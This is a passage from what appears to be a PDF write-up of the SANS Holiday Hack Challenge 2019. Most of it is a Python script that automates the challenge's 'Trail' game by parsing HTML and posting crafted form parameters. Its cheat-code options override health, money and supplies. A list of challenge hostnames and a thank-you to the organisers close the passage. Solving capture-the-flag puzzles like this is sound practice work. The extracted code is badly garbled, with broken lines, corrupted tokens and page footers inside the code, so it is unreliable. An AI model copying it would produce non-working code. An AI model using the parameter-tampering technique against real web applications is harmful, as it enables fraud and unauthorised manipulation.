trade_offer = trade_offer.replace('</br>',"")
               trade_offer = trade_offer.replace('<input type="hidden" name="','|')
trade_offer = trade_offer.replace('" value=', '|')
trade_offer = trade_offer.replace('> |', '|')
trade_offer = re.sub(r'>.*','',trade_offer)
               trade_offer = trade_offer.strip()
trade_offer = re.sub(r'\\+','',trade_offer)
trade_offer = re.sub(r'\\+$','',trade_offer)
                return trade offer
  Extract JOURNEY END Data from Victory Page
def get_journeyend_data(t):
```

h

```
# Start with the page container object
start_sentinel = '<div id="page-container">'
end_sentinel = '<footer id="footer"></footer>'
                   i1 = t.find(start_sentinel)+len(start_sentinel)
                   i2 = t.find(end_sentinel)
                   journeyend_section = t[i1:i2]
journeyend_section.replace("\n","")
                   journeyend_section = journeyend_section.replace('',"")
journeyend_section = journeyend_section.replace('',"|")
                   journeyend_section = journeyend_section.replace('\p', '')
journeyend_section = journeyend_section.replace('', '')
journeyend_section = journeyend_section.replace('', '')
journeyend_section = journeyend_section.replace('', '')
                  journeyend_section = journeyend_section.replace('',"|")
journeyend_section = journeyend_section.replace('<font color="#038ea5">',"|")
journeyend_section = journeyend_section.replace('<font color="#088ea5">',"|")
journeyend_section = journeyend_section.replace('<b',"")
journeyend_section = journeyend_section.replace('<b',"")
journeyend_section = journeyend_section.replace('<cript>',"")
journeyend_section = journeyend_section.replace('</script>',"")
journeyend_section = journeyend_section.replace('<arian',"")
journeyend_section = journeyend_section.replace('<arian',"")
journeyend_section = journeyend_section.replace('<arian',"")
journeyend_section = journeyend_section.replace('<arian',"")
journeyend_section = journeyend_section.replace('</ar>
                   journeyend_section = journeyend_section.replace('<br>',"")
journeyend_section = journeyend_section.replace('</br>',"")
journeyend_section = journeyend_section.replace('<font>',"")
                   journeyend section = journeyend section.replace('</font>',"")
                  journeyend_section = journeyend_section.replace('<script src="/conduit.js">',"")
journeyend_section = journeyend_section.replace('<img src="art/pieces/header.png" alt="header">',"")
journeyend_section = journeyend_section.replace('
style='list-style-type: none; padding: 0px; text-align: left;'',"")
journeyend_section = journeyend_section.replace('<a href=''/'>',"")
journeyend_section = journeyend_section.replace('Start over?',"")

                   journeyend_section = re.sub(r'\s+', ' ', journeyend_section)
journeyend_section = re.sub(r'\\s+', '|', journeyend_section)
journeyend_section = re.sub(r'\s+\','|', journeyend_section)
                   journeyend_section = re.sub(r'\|+','|',journeyend_section)
                   journeyend_section = journeyend_section[:-1].strip()
                   return journeyend_section
   Print Status
def print_status(sc, sm, a, p, tf):
                  if a == "trade": a = a+"="+tf
                   difficulty_stat = difficulty_level[int(sc[1])]
                   action stat
                                                                               a.upper().rjust(14)
                                                        = dupper().rjust(r)
= p.upper().rjust(8)
= "Dist/Left:"+str('{:04}'.format(int(sc[5])))+"/"+str('{:04}'.format(max_distance-int(sc[5])))
= "Date:"+str('{:02}'.format(int(sc[7])))+"/"+str('{:02}'.format(int(str(sc[9]))))
= "Money:"+str('{:04}'.format(int(sc[5])))
                   pace_stat
remaining_stat
                   gamedate stat
                   money stat
                                                     reindeer_stat
runners_stat
                   ammo_stat
                   meds stat
                   food_stat
                                                                            health_stat
                  print ("STATUS - ["+action_stat+"] ["+difficulty_stat+"] ["+pace_stat+"] ["+remaining_stat+"] ["+gamedate_stat+"] ["+
money_stat+"] ["+reindeer_stat+"] ["+runners_stat+"] ["+ammo_stat+"] ["+meds_stat+"] ["+food_stat+"] ["+health_stat+"]")
                   if len(sm) == 0:
sm = "No Updates"
                  print ("\t ["+sm+"]\n")
   Attempt very simple decision logic to help our friends on the trail
   This is life favoring logic
def next_action_logic(sc,a,p):
                   difficulty_stat = str(sc[1])
distance stat = str(sc[5])
                  distance_stat
curmonth_stat
                                                 = str(sc[7])
                   ammo_stat
                                                 = str(sc[63])
                   meds_stat
                                                     str(sc[65])
                   food stat
                                                  = str(sc[67])
                                                 = str(sc[59])
= str(sc[61])
                   reindeer_stat
                   runners_stat
                   health0 stat
                                                 = str(sc[13])
                   health0_cond
                                                     str(sc[15])
                  health1_stat
health1_cond
                                                 = str(sc[25])
                                                     str(sc[27])
                   health2_stat
health2_cond
                                                 = str(sc[37])
                                                 = str(sc[39])
                   health3_stat
                                                 = str(sc[49])
                                                 = str(sc[51])
                   health3 cond
                   health_average = 0
                   party_members =
                   home stretch
                                               = 7500
                  if int(health0_cond)<0: party_members = party_members-1
if int(health1_cond)<0: party_members = party_members-1
if int(health2_cond)<0: party_members = party_members-1</pre>
                   if int(health3_cond)<0: party_members = party_members-1
                                                                                                                           Page 177 of 184
```

h

```
if party_members>0:
                       health_average = round((int(health0_stat)+int(health1_stat)+int(health2_stat)+int(health3_stat))/party_members)
            health_stat_set = [ int(health0_stat), int(health1_stat), int(health2_stat), int(health3_stat),]
health_median = statistics.median(health_stat_set)
                        = a
= p
            new action
            new_pace
                               = 10
            urgent_resources
            critical_health moderate_health
                                = 30
= 50
            urgent health
                                = 15
            new tradefor
            important_resources1 = ['Food','Ammo']
            important_resources2 = ['Food', 'Meds']
            if int(runners_stat) < 2:
    new_action = "trade"
    new_tradefor = "Runners"
            elif int(reindeer_stat) < 1:
new_action = "trade"
                      new_tradefor = "Reindeer"
            else.
                      if int(food_stat) < urgent_resources: #and health_average < critical_health:
    if int(ammo_stat) > 0:
        new_action = "hunt"
                                 else:
                                           else:
                                                               new action = "trade"
                                                               #Randomly choose in this case between Food or Ammo as next trade
toss_up = random.randint(0,1)
                                                               new_tradefor = important_resources1[toss_up]
                      if not new_action == "hunt":
                                 if (
                                           (int(health0_stat)<urgent_health and int(health0_cond)>=0) or
(int(health1_stat)<urgent_health and int(health1_cond)>=0) or
(int(health2_stat)<urgent_health and int(health2_cond)>=0) or
                                           (int(health3_stat)<urgent_health and int(health3_cond)>=0)
                                           else:
                                                     if difficulty_stat == 2 and distance stat <= home_stretch: # If on hard and almost there, just go
                                                               new_action = "go"
                                                     else:
                                                               new_action = "trade"
                                                               # Randomly choose in this case between Food or Meds as next trade
toss up = random.randint(0,1)
                                                               new_tradefor = important_resources2[toss_up]
            # Downgrade Pace if Health urgent
            new_pace = "0"
            # Upgrade Pace if Health improved
           return new_action, new_pace, new_tradefor
  # Analyze Trade Offer
  def trade_offer_logic(o,sc):
            decision = False
            offer_itemQty
                                 = 0[1]
            offer_tradeFor
                                = 0[3]
                                 = 0[5]
            offer_reqQty = o[5]
offer_itemRequested = o[7]
            min runners
            min reindeer
                             = 2
            acceptable loss = 0.5
            if args.debug:
                      print ("ANALYSIS: ["+offer_itemQty+"] ["+offer_tradeFor+"] ["+offer_reqQty+"] ["+offer_itemRequested+"]")
            if offer_tradeFor == "Runners":
acceptable_loss = 1
min_reindeer = 1
            if offer_itemRequested == "Money":
                       if args.debug:
            if args.debug:
                                           print("TRADING: Will Trade for Ammo!")
                                                                    Page 178 of 184
                                                                                                                                                            h
```

```
elif offer_itemRequested == "Meds":
                                    if args.debug:
                  print ("TRADING: Will Trade for Food!")
elif offer itemRequested == "Reindeer":
                                    print ("TRADING: Will Trade for Reindeer!")
= "Runners":
                  elif offer itemRequested =
                                    if int(offer_reqQty) < int(sc[61]) and int(sc[61]) > min_runners:
                                                      decision = True
                                                      if args.debug:
                                                                        print ("TRADING: Will Trade for Runners!")
                  return decision
    ### MAIN
                                                      ......
# Display user input game options
" Inplus in the second se
    eat codes active = ""
if args.lightspeed:
                  cheat_codes_active = cheat_codes_active + "lightspeed "
if args.maxammo:
                  cheat_codes_active = cheat_codes_active + "maxammo
if args.maxmeds:
                 cheat_codes_active = cheat_codes_active + "maxmeds "
if args.maxfood:
                 cheat_codes_active = cheat_codes_active + "maxfood "
if args.maxreindeer:
                 cheat_codes_active = cheat_codes_active + "maxreindeer "
if args.maxrunners:
                 cheat_codes_active = cheat_codes_active + "maxrunners "
if args.maxmoney:
                  cheat_codes_active = cheat_codes_active + "maxmoney "
if args.invulnerability:
                 cheat_codes_active = cheat_codes_active + "invulnerability "
cheat_codes_active = cheat_codes_active.strip()
!!!! CHEAT CODES ACTIVE: ["+cheat_codes_active+"]")
print ("
print ("")
              # GET gameselect URL
get params = {
                   'playerid': player_id,
                'username': userser_name
get_response = httpGet(hhc_gameselect_url,get_params,gameselect_headers)
returned_cookie = get_response.cookies['trail-mix-cookie']
# POST to store URL
store data init = {
                                    'difficulty': difficulty_arg,
'playerid': player_id,
                                     'username': userser_name
cookie_data = {
              'trail-mix-cookie': returned_cookie
post_response = httpPost(hhc_store_url,cookie_data,store_data_init,store_headers)
returned_cookie = post_response.cookies['trail-mix-cookie']
status_container = get_status_container(post_response.text).split('|')
money
                    = str(status container[3])
= str(status container[5])
distance
curmonth
                     = str(status_container[7])
                    = str(status_container[9])
= str(status_container[11])
curday
name0
                     = str(status_container[23])
= str(status_container[35])
name1
name2
name3
                      = str(status_container[47])
= str(status_container[59])
reindeer
                     = str(status_container[61])
= str(status_container[63])
runners
ammo
                      = str(status_container[65]
meds
food
                      = str(status_container[67]
                     = str(status_container[69])
hash
if not args.invulnerability:
                                       str(status_container[13])
= str(status_container[15])
                  health0
                  cond0
                   cause0
                                        = str(status_container[17])
                  deathdav0
                                       = str(status container[19])
```

h

ן א

<pre>deathmonth0 = str(status container[21])</pre>		
health1 = str(status_container[25])		
condi = str(status_container[27]) cause1 = str(status_container[29])		
<pre>deathday1 = str(status_container[31])</pre>		
<pre>deathmonth1 = str(status_container[33]) health2 = str(status_container[37])</pre>		
cond2 = str(status_container[39])		
<pre>cause2 = str(status_container[41]) deathdav2 = str(status_container[43])</pre>		
deathmonth2 = str(status container[45])		
health3 = str(status_container[49])		
cond3 = str(status_container[51]) cause3 = str(status_container[53])		
deathday3 = str(status_container[55])		
deathmonth3 = str(status_container[57])		
if args.debug:		
print ("")		
print (post_response.neaders)		
print (post_response.content)		
print ("		
store_post_pending = True		
#		
# POST to trail recurring URL		
journey end = False		
while not journey_end:		
trail list = [
"playerid="+player_id,		
"difficulty="+difficulty,		
"distance="+distance,		
"curmonth="+curmonth,		
"curday="+curday, "name0="+name0,		
"health0="+health0,		
"cond0="+cond0, "cause0="+cause0.		
"deathday0="+deathday0,		
"deathmonth0="+deathmonth0,		
"health1="+health1,		
"condl="+condl,		
"causel="+causel, "deathday1="+deathday1,		
"deathmonth1="+deathmonth1,		1000
"name2="+name2, "bealth2="thealth2.		1.10
"cond2="+cond2,		
"cause2="+cause2, "deathday2="+deathday2.		
"deathmonth2="+deathmonth2,		
"name 3="+name3, "bealthes", bea		
"cod3="+cod3,		
"cause3="+cause3,		
"deathnoays="+deathnoays, "deathnonth3"+deathnonth3,		
"reindeer="+reindeer,		
"runners="trunners, "ammog="tam""tammog="tam"tam"tam"tam"tam"tam"tam"tamtog="tam"tam"tamtog="tam"tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog="tam"tamtog		
"meds="+meds,		- P. P.
"food="+food,		
per la persona de la companya		
# # Set additional POST variables		
if store_post_pending: trail_list.ipsert(0."reindeergty="+reindeergty)		
<pre>trail_list.insert(1, "runnerqty="+runnerqty)</pre>		
<pre>trail list.insert(2, "foodqty="foodqty) trail_ist_insert(3, "medgaty="theodqty)</pre>		
trail_list.inser(4, "ammoqty="tammoqty)		
<pre>trail_list.insert(5, "submit="+submit)</pre>		
else:		
if action == "trade":		
<pre>if len(trade_offer) > 0:</pre>	ainer)	
if not make_trade:		
action = "trade" trail list insert(1, "tradeFor=" + tradeFor)		
else:		
<pre>trail_list.insert(1, trade_offer[0]+"="+trad trail_list_insert(2, trade_offer[2]+"="+trad</pre>	e_offer[1])	
trail_list.insert(3, trade_offer[4]+"="++trade_offer[4]+"="+trade_offer[4]+"="+trade_offer[4]+"="++trade_offer[4]+"="++trade_offer[4]+"="++trade_offer[4]+"="++trade_offer[4]+"="++trade_offer[4]+"="++trade_offer[4]+"="++trade_offer[4]+"="++trade_offer[4]+"="+trade_offer[4]+"="+trade_offer[4]+"="+trade_offer[4]+""+"+trade_offer[4]+""+"+trade_offer[4]+""="+trade_offer[4	e_offer[5])	
trail_list.insert(4, trade_offer[6]+"="+trade_offer[6]+""+trade_offer[6]+"="+trade_offer[6]+"="+trade_offer[e_offer[7])	
eise: trail list.insert(1. "tradeFor=" + tradeFor)		
<pre>trail_list.insert(0,"pace=" + pace)</pre>		
<pre>trail_list.insert(2,"action=" + action)</pre>		
trail_data = ""		
for i in range (0, len(trail list)):		
trail data = trail data[:-1]		
Page 180 of 184		
cookie data = {		
-------------------	--	
'trail-	mix-cookie': returned_cookie	
}	the part (the trail well eachier date trail date trail herdard)	
post_response = h	ttpPost(hhc_trail_uri,cookie_data,trail_data,trail_headers)	
if post_response.	text.find('502 Bad Gateway')>0:	
print ("ERROR: HTTP 502 Bad Gateway")	
sys.ex1		
if post response.	text.find('Your party has succeeded!')>0:	
journey	end = True	
journey	end data = get journeyend data (post_response.text)	
print (·	
print ("++++++++++++++++++++++++++++++++++++++	
print ("+++++++++++++++++++++++++++++++++++++	
print (<pre>::: Victor: ::. [+ Journeyend Gatat] / "++++++++++++++++++++++++++++++++++++</pre>	
print ("++++++++++++++++++++++++++++++++++++++	
print ("+++++++++++++++++++++++++++++++++++++	
elif post respons	.text.find('Your party has failed because everyone)'s dead.'>0:	
journey	_end = True	
journey	end data = get_journeyend_data(post_response.text)	
print ("\n"""""""""""""""""""""""""""""""""""	
print ("\n")	
elif post_respons	e.text.find('Your party has failed because you ran out of time.')>0:	
journey	end = ifue end data = get journevend data(bost response.text)	
print ("\n======""""""""""""""""""""""""""""""	
print ("FAILED: ["+journeyend_data+"]")	
else:	(<u>n</u> ")	
status	container = get_status_container(post_response.text).split(' ')	
status	messages = get_status_messages(post_response.text)	
trade o	ffer = ""	
if post	response.text.find('If you accept the trade, click Trade') > 0:	
	<pre>trade_offer = get_trade_offer(post_response.text).split(' ')</pre>	
if post	response.text.find('Your sleigh has fewer than two runners. You did not progress.') > 0:	
	print ("BADNEWS: Your sleigh has fewer than two runners. You did not progress.")	
if post	response.text.find('0h dear! One of your reindeer has vanished.') > 0:	
if post	response text, find ('Oh no') One of your sleight's runners has broken.') > 0:	
	print ("BADNEWS: Oh no! One of your sleigh's runners has broken.")	
if post	response.text.find('has died.') > 0:	
if post	response.text.find('You managed to tame a wild reindeer!') > 0:	
	print ("GOODNEWS: You managed to tame a wild reindeer!")	
11 post	response.text.rind('rou found a spare runner lying on the ground') > 0: print ("GOONEWS:You found a spare runner lying on the ground!")	
money	= str(status_container[3])	
# River	Crossing Logic	
crossin	g_river = False	
if (pos	<pre>t response.text.find('>Ferry<')>0) and (post_response.text.find('>Ford<')>0) and (post_response.text.find('>Caulk<')>0); if int (money) >= min ferry threshold;</pre>	
	choice = 0 # If you have sufficient money, then Ferry as safest option	
	else:	
	action = str(river[choice])	
	print ("RIVER CROSSING CHOICE - You choose to: ["+action.capitalize()+"]")	
	crossing_river = True	
eise:	action = "go"	
 distanc	e = str(status container[5])	
curday	= str(status containe[9])	
name0	= str(status_container[11])	
name1	<pre>= str(status_container[23]) = str(status_container[35])</pre>	
name3	= str(status container[47])	
reindee	r = str(status_container[59])	
runners	= str(status_container[6])	
meds	= str(status container[65])	
food	= str(status_container[67])	
hash	= str(status_container[69])	
if not	args.invulnerability:	
	health0 = str(status_container[13])	
	cause = str(status_container[17])	
	<pre>deathday0 = str(status_container[19])</pre>	
	<pre>deathmonth0 = str(status_container[21]) bolth1 = str(status_container[25])</pre>	
	cond = str(status_container[27])	
	cause1 = str(status_container[29])	
	<pre>deathday1 = str(status_container[31]) deatheorth1 = str(status_container[33])</pre>	
	health = str(status_container[37])	
	cond2 = str(status_container[39])	
	<pre>cause2 = str(status_container[41]) double4r2 = str(status_container[42])</pre>	
	deathmonth2 = str(status_container[45])	
	health3 = str(status_container[49])	
	<pre>cond3 = str(status_container[51]) cause3 = str(status_container[53])</pre>	
	deathday3 = str(status_containe:[55])	



Arcade for Hacking!

Game Servers

2019,kringlecon.com crate.elfu.org docker2019,kringlecon.com dounloads.elfu.org elfscrow.elfu.org elfu-soc.s3.amazonaus.com elfu-soc.s3-website-us-east-1.amazonaws.com fridosleigh.com graylog.elfu.org incident.elfu.ora key,elfu,org keupad,elfu,orq qa,elfu,orq report,elfu,org splk-hhc-static,s3,us-east-2,amazonaus,com splunk,elfu,org srf.elfu.org studentportal,elfu.org thisisit.elfu.org trail,elfu,orq www.holidayhackchallenge.com

Had a Blast!

Thank You Counter Hack Challenges and SANS

I want to thank Ed Skoudis, Josh Wright and the whole Counter Hack and SANS team for another amazing Holiday Hack Challenge. I had a ton of fun playing and it was like getting my video gaming, console gaming, 80's music and movies and hacking fun all rolled into one! Thanks so much for your hard work and dedication to creating these incredible challenges each year.

Loved it and if I'm not away travelling for Christmas and the holidays next year, I will definitely be there for KringleCon 3!

